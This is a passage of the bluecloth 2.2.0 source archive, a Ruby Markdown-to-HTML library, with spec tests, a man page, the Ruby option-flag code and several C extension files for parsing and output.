--- end it "no longer creates a list when lines in the middle of hard-wrapped paragraphs look " + "like the start of a list item" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation I recommend upgrading to version 8. Oops, now this line is treated as a sub-list. ---

I recommend upgrading to version 8. Oops, now this line is treated as a sub-list.

--- end it "correctly marks up header + list + code" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ## This is a header. 1. This is the first list item. 2. This is the second list item. Here's some example code: return shell_exec("echo $input | $markdown_script"); ---

This is a header.

  1. This is the first list item.
  2. This is the second list item.

Here's some example code:

return shell_exec("echo $input | $markdown_script");
		
--- end end bluecloth-2.2.0/man/0000755000175000017500000000000011665167136013641 5ustar boutilboutilbluecloth-2.2.0/man/man1/0000755000175000017500000000000011665167136014475 5ustar boutilboutilbluecloth-2.2.0/man/man1/bluecloth.10000644000175000017500000000543211665167136016544 0ustar boutilboutil.\" Automatically generated by Pod::Man 2.23 (Pod::Simple 3.14) .\" .\" Standard preamble: .\" ======================================================================== .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. \*(C+ will .\" give a nicer C++. Capital omega is used to do unbreakable dashes and .\" therefore won't be available. \*(C` and \*(C' expand to `' in nroff, .\" nothing in troff, for use with C<>. .tr \(*W- .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" Escape single quotes in literal strings from groff's Unicode transform. .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .ie \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .el \{\ . de IX .. .\} .\" ======================================================================== .\" .IX Title "bluecloth 1" .TH bluecloth 1 "2011-11-01" "" "" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .if n .ad l .nh .SH "NAME" bluecloth \- convert Markdown input to HTML .SH "SYNOPSIS" .IX Header "SYNOPSIS" \&\fBbluecloth\fR [\fI\s-1OPTIONS\s0\fR] \fI\s-1FILES\s0\fR .SH "DESCRIPTION" .IX Header "DESCRIPTION" \&\fBbluecloth\fR converts input files written in Markdown to \s-1HTML\s0 and outputs them to standard output. .PP If no input file is given, it will read from the standard input. .SH "OPTIONS" .IX Header "OPTIONS" .IP "\fB\-d\fR, \fB\-\-debug\fR" 4 .IX Item "-d, --debug" Turn debugging output on. .IP "\fB\-f\fR, \fB\-\-fragment\fR" 4 .IX Item "-f, --fragment" Output \s-1HTML\s0 fragments instead of whole documents. .IP "\fB\-h\fR, \fB\-\-help\fR" 4 .IX Item "-h, --help" Output a help message and exit. .SH "AUTHORS" .IX Header "AUTHORS" \&\fBbluecloth\fR was written by Michael Granger. .PP This manual page has been written for the Debian Project by Cédric Boutillier (but may used by others). bluecloth-2.2.0/lib/0000755000175000017500000000000011665167136013634 5ustar boutilboutilbluecloth-2.2.0/lib/bluecloth.rb0000644000175000017500000002066411665167136016152 0ustar boutilboutil#!/usr/bin/ruby # # Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion # tool. # # == Authors # # * Michael Granger # # == Contributors # # * Martin Chase - Peer review, helpful suggestions # * Florian Gross - Filter options, suggestions # # This product includes software developed by David Loren Parsons # . # # == Version # # 2.1.0 # # == Revision # # $Revision: 34dd000f535c $ # # == License # # Copyright (c) 2004-2011, Michael Granger # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # * Neither the name of the author/s, nor the names of the project's # contributors may be used to endorse or promote products derived from this # software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # class BlueCloth # Release Version VERSION = '2.2.0' # Version control revision REVISION = %q$Revision: 34dd000f535c $ # The defaults for all supported options. DEFAULT_OPTIONS = { :alphalists => true, :auto_links => false, :definition_lists => false, :divquotes => false, :escape_html => false, :expand_tabs => true, :header_labels => false, :mdtest_1_compat => false, :pandoc_headers => false, :pseudoprotocols => false, :relaxed => false, :remove_images => false, :remove_links => false, :safe_links => false, :smartypants => true, :strict_mode => true, :strikethrough => true, :superscript => false, :tables => false, :tagtext_mode => false, :xml_cdata => false, :footnotes => false, }.freeze # The number of characters of the original markdown source to include in the # output of #inspect INSPECT_TEXT_LENGTH = 50 ################################################################# ### C L A S S M E T H O D S ################################################################# ### Convert the specified +opthash+ into a flags bitmask. If it's already a ### Fixnum (e.g., if someone passed in an ORed flags argument instead of an ### opthash), just return it as-is. def self::flags_from_opthash( opthash={} ) return opthash if opthash.is_a?( Integer ) # Support BlueCloth1-style options if opthash == :filter_html || opthash == [:filter_html] opthash = { :escape_html => true } elsif opthash == :filter_styles opthash = {} elsif !opthash.is_a?( Hash ) raise ArgumentError, "option %p not supported" % [ opthash ] end flags = 0 if opthash[:remove_links] then flags |= MKD_NOLINKS; end if opthash[:remove_images] then flags |= MKD_NOIMAGE; end if ! opthash[:smartypants] then flags |= MKD_NOPANTS; end if opthash[:escape_html] then flags |= MKD_NOHTML; end if opthash[:strict_mode] then flags |= MKD_STRICT; end if opthash[:tagtext_mode] then flags |= MKD_TAGTEXT; end if ! opthash[:pseudoprotocols] then flags |= MKD_NO_EXT; end if opthash[:xml_cdata] then flags |= MKD_CDATA; end if ! opthash[:superscript] then flags |= MKD_NOSUPERSCRIPT; end if ! opthash[:relaxed] then flags |= MKD_NORELAXED; end if ! opthash[:tables] then flags |= MKD_NOTABLES; end if ! opthash[:strikethrough] then flags |= MKD_NOSTRIKETHROUGH; end if opthash[:header_labels] then flags |= MKD_TOC; end if opthash[:mdtest_1_compat] then flags |= MKD_1_COMPAT; end if opthash[:auto_links] then flags |= MKD_AUTOLINK; end if opthash[:safe_links] then flags |= MKD_SAFELINK; end if ! opthash[:pandoc_headers] then flags |= MKD_NOHEADER; end if opthash[:expand_tabs] then flags |= MKD_TABSTOP; end if ! opthash[:divquotes] then flags |= MKD_NODIVQUOTE; end if ! opthash[:alphalists] then flags |= MKD_NOALPHALIST; end if ! opthash[:definition_lists] then flags |= MKD_NODLIST; end if opthash[:footnotes] then flags |= MKD_EXTRA_FOOTNOTE; end return flags end ### Returns a Hash that reflects the settings from the specified +flags+ Integer. def self::opthash_from_flags( flags=0 ) flags = flags.to_i opthash = {} if ( flags & MKD_NOLINKS ).nonzero? then opthash[:remove_links] = true; end if ( flags & MKD_NOIMAGE ).nonzero? then opthash[:remove_images] = true; end if !( flags & MKD_NOPANTS ).nonzero? then opthash[:smartypants] = true; end if ( flags & MKD_NOHTML ).nonzero? then opthash[:escape_html] = true; end if ( flags & MKD_STRICT ).nonzero? then opthash[:strict_mode] = true; end if ( flags & MKD_TAGTEXT ).nonzero? then opthash[:tagtext_mode] = true; end if !( flags & MKD_NO_EXT ).nonzero? then opthash[:pseudoprotocols] = true; end if ( flags & MKD_CDATA ).nonzero? then opthash[:xml_cdata] = true; end if !( flags & MKD_NOSUPERSCRIPT ).nonzero? then opthash[:superscript] = true; end if !( flags & MKD_NORELAXED ).nonzero? then opthash[:relaxed] = true; end if !( flags & MKD_NOTABLES ).nonzero? then opthash[:tables] = true; end if !( flags & MKD_NOSTRIKETHROUGH ).nonzero? then opthash[:strikethrough] = true; end if ( flags & MKD_TOC ).nonzero? then opthash[:header_labels] = true; end if ( flags & MKD_1_COMPAT ).nonzero? then opthash[:mdtest_1_compat] = true; end if ( flags & MKD_AUTOLINK ).nonzero? then opthash[:auto_links] = true; end if ( flags & MKD_SAFELINK ).nonzero? then opthash[:safe_links] = true; end if !( flags & MKD_NOHEADER ).nonzero? then opthash[:pandoc_headers] = true; end if ( flags & MKD_TABSTOP ).nonzero? then opthash[:expand_tabs] = true; end if !( flags & MKD_NODIVQUOTE ).nonzero? then opthash[:divquotes] = true; end if !( flags & MKD_NOALPHALIST ).nonzero? then opthash[:alphalists] = true; end if !( flags & MKD_NODLIST ).nonzero? then opthash[:definition_lists] = true; end if ( flags & MKD_EXTRA_FOOTNOTE ).nonzero? then opthash[:footnotes] = true; end return opthash end ################################################################# ### I N S T A N C E M E T H O D S ################################################################# ### Return a human-readable representation of the object suitable for debugging. def inspect return "#<%s:0x%x text: %p; options: %p>" % [ self.class.name, self.object_id / 2, self.text.length > INSPECT_TEXT_LENGTH ? self.text[ 0, INSPECT_TEXT_LENGTH - 5] + '[...]' : self.text, self.options, ] end end # class BlueCloth begin require 'bluecloth_ext' rescue LoadError => err # If it's a Windows binary gem, try the . subdirectory if RUBY_PLATFORM =~/(mswin|mingw)/i major_minor = RUBY_VERSION[ /^(\d+\.\d+)/ ] or raise "Oops, can't extract the major/minor version from #{RUBY_VERSION.dump}" require "#{major_minor}/bluecloth_ext" else raise end end # Set the top-level 'Markdown' constant if it isn't already set ::Markdown = ::BlueCloth unless defined?( ::Markdown ) bluecloth-2.2.0/ext/0000755000175000017500000000000011665167136013666 5ustar boutilboutilbluecloth-2.2.0/ext/xmlpage.c0000644000175000017500000000217511665167136015474 0ustar boutilboutil/* * xmlpage -- write a skeletal xhtml page * * Copyright (C) 2007 David L Parsons. * The redistribution terms are provided in the COPYRIGHT file that must * be distributed with this source code. */ #include "config.h" #include #include #include #include "cstring.h" #include "markdown.h" #include "amalloc.h" int mkd_xhtmlpage(Document *p, int flags, FILE *out) { char *title; extern char *mkd_doc_title(Document *); if ( mkd_compile(p, flags) ) { fprintf(out, "\n"); fprintf(out, "\n"); fprintf(out, "\n"); fprintf(out, "\n"); if ( title = mkd_doc_title(p) ) fprintf(out, "%s\n", title); mkd_generatecss(p, out); fprintf(out, "\n"); fprintf(out, "\n"); mkd_generatehtml(p, out); fprintf(out, "\n"); fprintf(out, "\n"); mkd_cleanup(p); return 0; } return -1; } bluecloth-2.2.0/ext/xml.c0000644000175000017500000000316511665167136014637 0ustar boutilboutil/* markdown: a C implementation of John Gruber's Markdown markup language. * * Copyright (C) 2007 David L Parsons. * The redistribution terms are provided in the COPYRIGHT file that must * be distributed with this source code. */ #include #include #include #include #include #include #include "config.h" #include "cstring.h" #include "markdown.h" #include "amalloc.h" /* return the xml version of a character */ static char * mkd_xmlchar(unsigned char c) { switch (c) { case '<': return "<"; case '>': return ">"; case '&': return "&"; case '"': return """; case '\'': return "'"; default: if ( isascii(c) || (c & 0x80) ) return 0; return ""; } } /* write output in XML format */ int mkd_generatexml(char *p, int size, FILE *out) { unsigned char c; char *entity; while ( size-- > 0 ) { c = *p++; if ( entity = mkd_xmlchar(c) ) fputs(entity, out); else fputc(c, out); } return 0; } /* build a xml'ed version of a string */ int mkd_xml(char *p, int size, char **res) { unsigned char c; char *entity; Cstring f; CREATE(f); RESERVE(f, 100); while ( size-- > 0 ) { c = *p++; if ( entity = mkd_xmlchar(c) ) Cswrite(&f, entity, strlen(entity)); else Csputc(c, &f); } /* HACK ALERT! HACK ALERT! HACK ALERT! */ *res = T(f); /* we know that a T(Cstring) is a character pointer */ /* so we can simply pick it up and carry it away, */ return S(f); /* leaving the husk of the Ctring on the stack */ /* END HACK ALERT */ } bluecloth-2.2.0/ext/version.c0000644000175000017500000000053611665167136015523 0ustar boutilboutil#include "config.h" char markdown_version[] = VERSION #if 4 != 4 " TAB=4" #endif #if USE_AMALLOC " DEBUG" #endif #if USE_DISCOUNT_DL # if USE_EXTRA_DL " DL=BOTH" # else " DL=DISCOUNT" # endif #elif USE_EXTRA_DL " DL=EXTRA" #else " DL=NONE" #endif #if WITH_ID_ANCHOR " ID-ANCHOR" #endif #if WITH_GITHUB_TAGS " GITHUB-TAGS" #endif ; bluecloth-2.2.0/ext/tags.h0000644000175000017500000000050611665167136014776 0ustar boutilboutil/* block-level tags for passing html blocks through the blender */ #ifndef _TAGS_D #define _TAGS_D struct kw { char *id; int size; int selfclose; } ; struct kw* mkd_search_tags(char *, int); void mkd_prepare_tags(); void mkd_deallocate_tags(); void mkd_sort_tags(); void mkd_define_tag(char *, int); #endif bluecloth-2.2.0/ext/tags.c0000644000175000017500000000411511665167136014771 0ustar boutilboutil/* block-level tags for passing html blocks through the blender */ #define __WITHOUT_AMALLOC 1 #include "cstring.h" #include "tags.h" STRING(struct kw) blocktags; /* define a html block tag */ void mkd_define_tag(char *id, int selfclose) { struct kw *p = &EXPAND(blocktags); p->id = id; p->size = strlen(id); p->selfclose = selfclose; } /* case insensitive string sort (for qsort() and bsearch() of block tags) */ static int casort(struct kw *a, struct kw *b) { if ( a->size != b->size ) return a->size - b->size; return strncasecmp(a->id, b->id, b->size); } /* stupid cast to make gcc shut up about the function types being * passed into qsort() and bsearch() */ typedef int (*stfu)(const void*,const void*); /* sort the list of html block tags for later searching */ void mkd_sort_tags() { qsort(T(blocktags), S(blocktags), sizeof(struct kw), (stfu)casort); } /* look for a token in the html block tag list */ struct kw* mkd_search_tags(char *pat, int len) { struct kw key; key.id = pat; key.size = len; return bsearch(&key, T(blocktags), S(blocktags), sizeof key, (stfu)casort); } static int populated = 0; /* load in the standard collection of html tags that markdown supports */ void mkd_prepare_tags() { #define KW(x) mkd_define_tag(x, 0) #define SC(x) mkd_define_tag(x, 1) if ( populated ) return; populated = 1; KW("STYLE"); KW("SCRIPT"); KW("ADDRESS"); KW("BDO"); KW("BLOCKQUOTE"); KW("CENTER"); KW("DFN"); KW("DIV"); KW("OBJECT"); KW("H1"); KW("H2"); KW("H3"); KW("H4"); KW("H5"); KW("H6"); KW("LISTING"); KW("NOBR"); KW("UL"); KW("P"); KW("OL"); KW("DL"); KW("PLAINTEXT"); KW("PRE"); KW("TABLE"); KW("WBR"); KW("XMP"); SC("HR"); SC("BR"); KW("IFRAME"); KW("MAP"); mkd_sort_tags(); } /* mkd_prepare_tags */ /* destroy the blocktags list (for shared libraries) */ void mkd_deallocate_tags() { if ( S(blocktags) > 0 ) { populated = 0; DELETE(blocktags); } } /* mkd_deallocate_tags */ bluecloth-2.2.0/ext/setup.c0000644000175000017500000000145511665167136015177 0ustar boutilboutil/* markdown: a C implementation of John Gruber's Markdown markup language. * * Copyright (C) 2007 David L Parsons. * The redistribution terms are provided in the COPYRIGHT file that must * be distributed with this source code. */ #include "config.h" #include #include #include #include #include #include #include "cstring.h" #include "markdown.h" #include "amalloc.h" #include "tags.h" static int need_to_setup = 1; static int need_to_initrng = 1; void mkd_initialize() { if ( need_to_initrng ) { need_to_initrng = 0; INITRNG(time(0)); } if ( need_to_setup ) { need_to_setup = 0; mkd_prepare_tags(); } } void mkd_shlib_destructor() { if ( !need_to_setup ) { need_to_setup = 1; mkd_deallocate_tags(); } } bluecloth-2.2.0/ext/resource.c0000644000175000017500000000524111665167136015663 0ustar boutilboutil/* markdown: a C implementation of John Gruber's Markdown markup language. * * Copyright (C) 2007 David L Parsons. * The redistribution terms are provided in the COPYRIGHT file that must * be distributed with this source code. */ #include #include #include #include #include #include #include "config.h" #include "cstring.h" #include "markdown.h" #include "amalloc.h" /* free a (single) line */ void ___mkd_freeLine(Line *ptr) { DELETE(ptr->text); free(ptr); } /* free a list of lines */ void ___mkd_freeLines(Line *p) { if (p->next) ___mkd_freeLines(p->next); ___mkd_freeLine(p); } /* bye bye paragraph. */ void ___mkd_freeParagraph(Paragraph *p) { if (p->next) ___mkd_freeParagraph(p->next); if (p->down) ___mkd_freeParagraph(p->down); if (p->text) ___mkd_freeLines(p->text); if (p->ident) free(p->ident); free(p); } /* bye bye footnote. */ void ___mkd_freefootnote(Footnote *f) { DELETE(f->tag); DELETE(f->link); DELETE(f->title); } /* bye bye footnotes. */ void ___mkd_freefootnotes(MMIOT *f) { int i; if ( f->footnotes ) { for (i=0; i < S(*f->footnotes); i++) ___mkd_freefootnote( &T(*f->footnotes)[i] ); DELETE(*f->footnotes); free(f->footnotes); } } /* initialize a new MMIOT */ void ___mkd_initmmiot(MMIOT *f, void *footnotes) { if ( f ) { memset(f, 0, sizeof *f); CREATE(f->in); CREATE(f->out); CREATE(f->Q); if ( footnotes ) f->footnotes = footnotes; else { f->footnotes = malloc(sizeof f->footnotes[0]); CREATE(*f->footnotes); } } } /* free the contents of a MMIOT, but leave the object alone. */ void ___mkd_freemmiot(MMIOT *f, void *footnotes) { if ( f ) { DELETE(f->in); DELETE(f->out); DELETE(f->Q); if ( f->footnotes != footnotes ) ___mkd_freefootnotes(f); memset(f, 0, sizeof *f); } } /* free lines up to an barrier. */ void ___mkd_freeLineRange(Line *anchor, Line *stop) { Line *r = anchor->next; if ( r != stop ) { while ( r && (r->next != stop) ) r = r->next; if ( r ) r->next = 0; ___mkd_freeLines(anchor->next); } anchor->next = 0; } /* clean up everything allocated in __mkd_compile() */ void mkd_cleanup(Document *doc) { if ( doc && (doc->magic == VALID_DOCUMENT) ) { if ( doc->ctx ) { ___mkd_freemmiot(doc->ctx, 0); free(doc->ctx); } if ( doc->code) ___mkd_freeParagraph(doc->code); if ( doc->title) ___mkd_freeLine(doc->title); if ( doc->author) ___mkd_freeLine(doc->author); if ( doc->date) ___mkd_freeLine(doc->date); if ( T(doc->content) ) ___mkd_freeLines(T(doc->content)); memset(doc, 0, sizeof doc[0]); free(doc); } } bluecloth-2.2.0/ext/mkdio.h0000644000175000017500000000702711665167136015150 0ustar boutilboutil#ifndef _MKDIO_D #define _MKDIO_D #include typedef void MMIOT; typedef unsigned int mkd_flag_t; /* line builder for markdown() */ MMIOT *mkd_in(FILE*,mkd_flag_t); /* assemble input from a file */ MMIOT *mkd_string(const char*,int,mkd_flag_t); /* assemble input from a buffer */ void mkd_basename(MMIOT*,char*); void mkd_initialize(); void mkd_with_html5_tags(); void mkd_shlib_destructor(); /* compilation, debugging, cleanup */ int mkd_compile(MMIOT*, mkd_flag_t); int mkd_cleanup(MMIOT*); /* markup functions */ int mkd_dump(MMIOT*, FILE*, int, char*); int markdown(MMIOT*, FILE*, mkd_flag_t); int mkd_line(char *, int, char **, mkd_flag_t); typedef int (*mkd_sta_function_t)(const int,const void*); void mkd_string_to_anchor(char *, int, mkd_sta_function_t, void*, int); int mkd_xhtmlpage(MMIOT*,int,FILE*); /* header block access */ char* mkd_doc_title(MMIOT*); char* mkd_doc_author(MMIOT*); char* mkd_doc_date(MMIOT*); /* compiled data access */ int mkd_document(MMIOT*, char**); int mkd_toc(MMIOT*, char**); int mkd_css(MMIOT*, char **); int mkd_xml(char *, int, char **); /* write-to-file functions */ int mkd_generatehtml(MMIOT*,FILE*); int mkd_generatetoc(MMIOT*,FILE*); int mkd_generatexml(char *, int,FILE*); int mkd_generatecss(MMIOT*,FILE*); #define mkd_style mkd_generatecss int mkd_generateline(char *, int, FILE*, mkd_flag_t); #define mkd_text mkd_generateline /* url generator callbacks */ typedef char * (*mkd_callback_t)(const char*, const int, void*); typedef void (*mkd_free_t)(char*, void*); void mkd_e_url(void *, mkd_callback_t); void mkd_e_flags(void *, mkd_callback_t); void mkd_e_free(void *, mkd_free_t ); void mkd_e_data(void *, void *); /* version#. */ extern char markdown_version[]; void mkd_mmiot_flags(FILE *, MMIOT *, int); void mkd_flags_are(FILE*, mkd_flag_t, int); void mkd_ref_prefix(MMIOT*, char*); /* special flags for markdown() and mkd_text() */ #define MKD_NOLINKS 0x00000001 /* don't do link processing, block tags */ #define MKD_NOIMAGE 0x00000002 /* don't do image processing, block */ #define MKD_NOPANTS 0x00000004 /* don't run smartypants() */ #define MKD_NOHTML 0x00000008 /* don't allow raw html through AT ALL */ #define MKD_STRICT 0x00000010 /* disable SUPERSCRIPT, RELAXED_EMPHASIS */ #define MKD_TAGTEXT 0x00000020 /* process text inside an html tag; no * , no , no html or [] expansion */ #define MKD_NO_EXT 0x00000040 /* don't allow pseudo-protocols */ #define MKD_CDATA 0x00000080 /* generate code for xml ![CDATA[...]] */ #define MKD_NOSUPERSCRIPT 0x00000100 /* no A^B */ #define MKD_NORELAXED 0x00000200 /* emphasis happens /everywhere/ */ #define MKD_NOTABLES 0x00000400 /* disallow tables */ #define MKD_NOSTRIKETHROUGH 0x00000800 /* forbid ~~strikethrough~~ */ #define MKD_TOC 0x00001000 /* do table-of-contents processing */ #define MKD_1_COMPAT 0x00002000 /* compatibility with MarkdownTest_1.0 */ #define MKD_AUTOLINK 0x00004000 /* make http://foo.com link even without <>s */ #define MKD_SAFELINK 0x00008000 /* paranoid check for link protocol */ #define MKD_NOHEADER 0x00010000 /* don't process header blocks */ #define MKD_TABSTOP 0x00020000 /* expand tabs to 4 spaces */ #define MKD_NODIVQUOTE 0x00040000 /* forbid >%class% blocks */ #define MKD_NOALPHALIST 0x00080000 /* forbid alphabetic lists */ #define MKD_NODLIST 0x00100000 /* forbid definition lists */ #define MKD_EXTRA_FOOTNOTE 0x00200000 /* enable markdown extra-style footnotes */ #define MKD_EMBED MKD_NOLINKS|MKD_NOIMAGE|MKD_TAGTEXT /* special flags for mkd_in() and mkd_string() */ #endif/*_MKDIO_D*/ bluecloth-2.2.0/ext/mkdio.c0000644000175000017500000001522211665167136015137 0ustar boutilboutil/* * mkdio -- markdown front end input functions * * Copyright (C) 2007 David L Parsons. * The redistribution terms are provided in the COPYRIGHT file that must * be distributed with this source code. */ #include "config.h" #include #include #include #include "cstring.h" #include "markdown.h" #include "amalloc.h" typedef ANCHOR(Line) LineAnchor; /* create a new blank Document */ static Document* new_Document() { Document *ret = calloc(sizeof(Document), 1); if ( ret ) { if (( ret->ctx = calloc(sizeof(MMIOT), 1) )) { ret->magic = VALID_DOCUMENT; return ret; } free(ret); } return 0; } /* add a line to the markdown input chain, expanding tabs and * noting the presence of special characters as we go. */ static void queue(Document* a, Cstring *line) { Line *p = calloc(sizeof *p, 1); unsigned char c; int xp = 0; int size = S(*line); unsigned char *str = (unsigned char*)T(*line); CREATE(p->text); ATTACH(a->content, p); while ( size-- ) { if ( (c = *str++) == '\t' ) { /* expand tabs into ->tabstop spaces. We use ->tabstop * because the ENTIRE FREAKING COMPUTER WORLD uses editors * that don't do ^T/^D, but instead use tabs for indentation, * and, of course, set their tabs down to 4 spaces */ do { EXPAND(p->text) = ' '; } while ( ++xp % a->tabstop ); } else if ( c >= ' ' ) { if ( c == '|' ) p->flags |= PIPECHAR; EXPAND(p->text) = c; ++xp; } } EXPAND(p->text) = 0; S(p->text)--; p->dle = mkd_firstnonblank(p); } /* trim leading blanks from a header line */ static void header_dle(Line *p) { CLIP(p->text, 0, 1); p->dle = mkd_firstnonblank(p); } /* build a Document from any old input. */ typedef int (*getc_func)(void*); Document * populate(getc_func getc, void* ctx, int flags) { Cstring line; Document *a = new_Document(); int c; int pandoc = 0; if ( !a ) return 0; a->tabstop = (flags & MKD_TABSTOP) ? 4 : TABSTOP; CREATE(line); while ( (c = (*getc)(ctx)) != EOF ) { if ( c == '\n' ) { if ( pandoc != EOF && pandoc < 3 ) { if ( S(line) && (T(line)[0] == '%') ) pandoc++; else pandoc = EOF; } queue(a, &line); S(line) = 0; } else if ( isprint(c) || isspace(c) || (c & 0x80) ) EXPAND(line) = c; } if ( S(line) ) queue(a, &line); DELETE(line); if ( (pandoc == 3) && !(flags & (MKD_NOHEADER|MKD_STRICT)) ) { /* the first three lines started with %, so we have a header. * clip the first three lines out of content and hang them * off header. */ Line *headers = T(a->content); a->title = headers; header_dle(a->title); a->author= headers->next; header_dle(a->author); a->date = headers->next->next; header_dle(a->date); T(a->content) = headers->next->next->next; } return a; } /* convert a file into a linked list */ Document * mkd_in(FILE *f, DWORD flags) { return populate((getc_func)fgetc, f, flags & INPUT_MASK); } /* return a single character out of a buffer */ struct string_ctx { const char *data; /* the unread data */ int size; /* and how much is there? */ } ; static int strget(struct string_ctx *in) { if ( !in->size ) return EOF; --(in->size); return *(in->data)++; } /* convert a block of text into a linked list */ Document * mkd_string(const char *buf, int len, DWORD flags) { struct string_ctx about; about.data = buf; about.size = len; return populate((getc_func)strget, &about, flags & INPUT_MASK); } /* write the html to a file (xmlified if necessary) */ int mkd_generatehtml(Document *p, FILE *output) { char *doc; int szdoc; if ( (szdoc = mkd_document(p, &doc)) != EOF ) { if ( p->ctx->flags & MKD_CDATA ) mkd_generatexml(doc, szdoc, output); else fwrite(doc, szdoc, 1, output); putc('\n', output); return 0; } return -1; } /* convert some markdown text to html */ int markdown(Document *document, FILE *out, int flags) { if ( mkd_compile(document, flags) ) { mkd_generatehtml(document, out); mkd_cleanup(document); return 0; } return -1; } /* write out a Cstring, mangled into a form suitable for `0) && !isalpha(line[0]) ) (*outchar)('L',out); for ( i=0; i < size ; i++ ) { c = line[i]; if ( labelformat ) { if ( isalnum(c) || (c == '_') || (c == ':') || (c == '-') || (c == '.' ) ) (*outchar)(c, out); else (*outchar)('.', out); } else (*outchar)(c,out); } if (line) free(line); } /* ___mkd_reparse() a line */ static void mkd_parse_line(char *bfr, int size, MMIOT *f, int flags) { ___mkd_initmmiot(f, 0); f->flags = flags & USER_FLAGS; ___mkd_reparse(bfr, size, 0, f); ___mkd_emblock(f); } /* ___mkd_reparse() a line, returning it in malloc()ed memory */ int mkd_line(char *bfr, int size, char **res, DWORD flags) { MMIOT f; int len; mkd_parse_line(bfr, size, &f, flags); if ( len = S(f.out) ) { /* kludge alert; we know that T(f.out) is malloced memory, * so we can just steal it away. This is awful -- there * should be an opaque method that transparently moves * the pointer out of the embedded Cstring. */ EXPAND(f.out) = 0; *res = T(f.out); T(f.out) = 0; S(f.out) = ALLOCATED(f.out) = 0; } else { *res = 0; len = EOF; } ___mkd_freemmiot(&f, 0); return len; } /* ___mkd_reparse() a line, writing it to a FILE */ int mkd_generateline(char *bfr, int size, FILE *output, DWORD flags) { MMIOT f; mkd_parse_line(bfr, size, &f, flags); if ( flags & MKD_CDATA ) mkd_generatexml(T(f.out), S(f.out), output); else fwrite(T(f.out), S(f.out), 1, output); ___mkd_freemmiot(&f, 0); return 0; } /* set the url display callback */ void mkd_e_url(Document *f, mkd_callback_t edit) { if ( f ) f->cb.e_url = edit; } /* set the url options callback */ void mkd_e_flags(Document *f, mkd_callback_t edit) { if ( f ) f->cb.e_flags = edit; } /* set the url display/options deallocator */ void mkd_e_free(Document *f, mkd_free_t dealloc) { if ( f ) f->cb.e_free = dealloc; } /* set the url display/options context data field */ void mkd_e_data(Document *f, void *data) { if ( f ) f->cb.e_data = data; } /* set the href prefix for markdown extra style footnotes */ void mkd_ref_prefix(Document *f, char *data) { if ( f ) f->ref_prefix = data; } bluecloth-2.2.0/ext/markdown.h0000644000175000017500000001334411665167136015666 0ustar boutilboutil#ifndef _MARKDOWN_D #define _MARKDOWN_D #include "cstring.h" /* reference-style links (and images) are stored in an array * of footnotes. */ typedef struct footnote { Cstring tag; /* the tag for the reference link */ Cstring link; /* what this footnote points to */ Cstring title; /* what it's called (TITLE= attribute) */ int height, width; /* dimensions (for image link) */ int dealloc; /* deallocation needed? */ int refnumber; int flags; #define EXTRA_BOOKMARK 0x01 #define REFERENCED 0x02 } Footnote; /* each input line is read into a Line, which contains the line, * the offset of the first non-space character [this assumes * that all tabs will be expanded to spaces!], and a pointer to * the next line. */ typedef struct line { Cstring text; struct line *next; int dle; /* leading indent on the line */ int flags; /* special attributes for this line */ #define PIPECHAR 0x01 /* line contains a | */ } Line; /* a paragraph is a collection of Lines, with links to the next paragraph * and (if it's a QUOTE, UL, or OL) to the reparsed contents of this * paragraph. */ typedef struct paragraph { struct paragraph *next; /* next paragraph */ struct paragraph *down; /* recompiled contents of this paragraph */ struct line *text; /* all the text in this paragraph */ char *ident; /* %id% tag for QUOTE */ enum { WHITESPACE=0, CODE, QUOTE, MARKUP, HTML, STYLE, DL, UL, OL, AL, LISTITEM, HDR, HR, TABLE, SOURCE } typ; enum { IMPLICIT=0, PARA, CENTER} align; int hnumber; /* for typ == HDR */ } Paragraph; enum { ETX, SETEXT }; /* header types */ typedef struct block { enum { bTEXT, bSTAR, bUNDER } b_type; int b_count; char b_char; Cstring b_text; Cstring 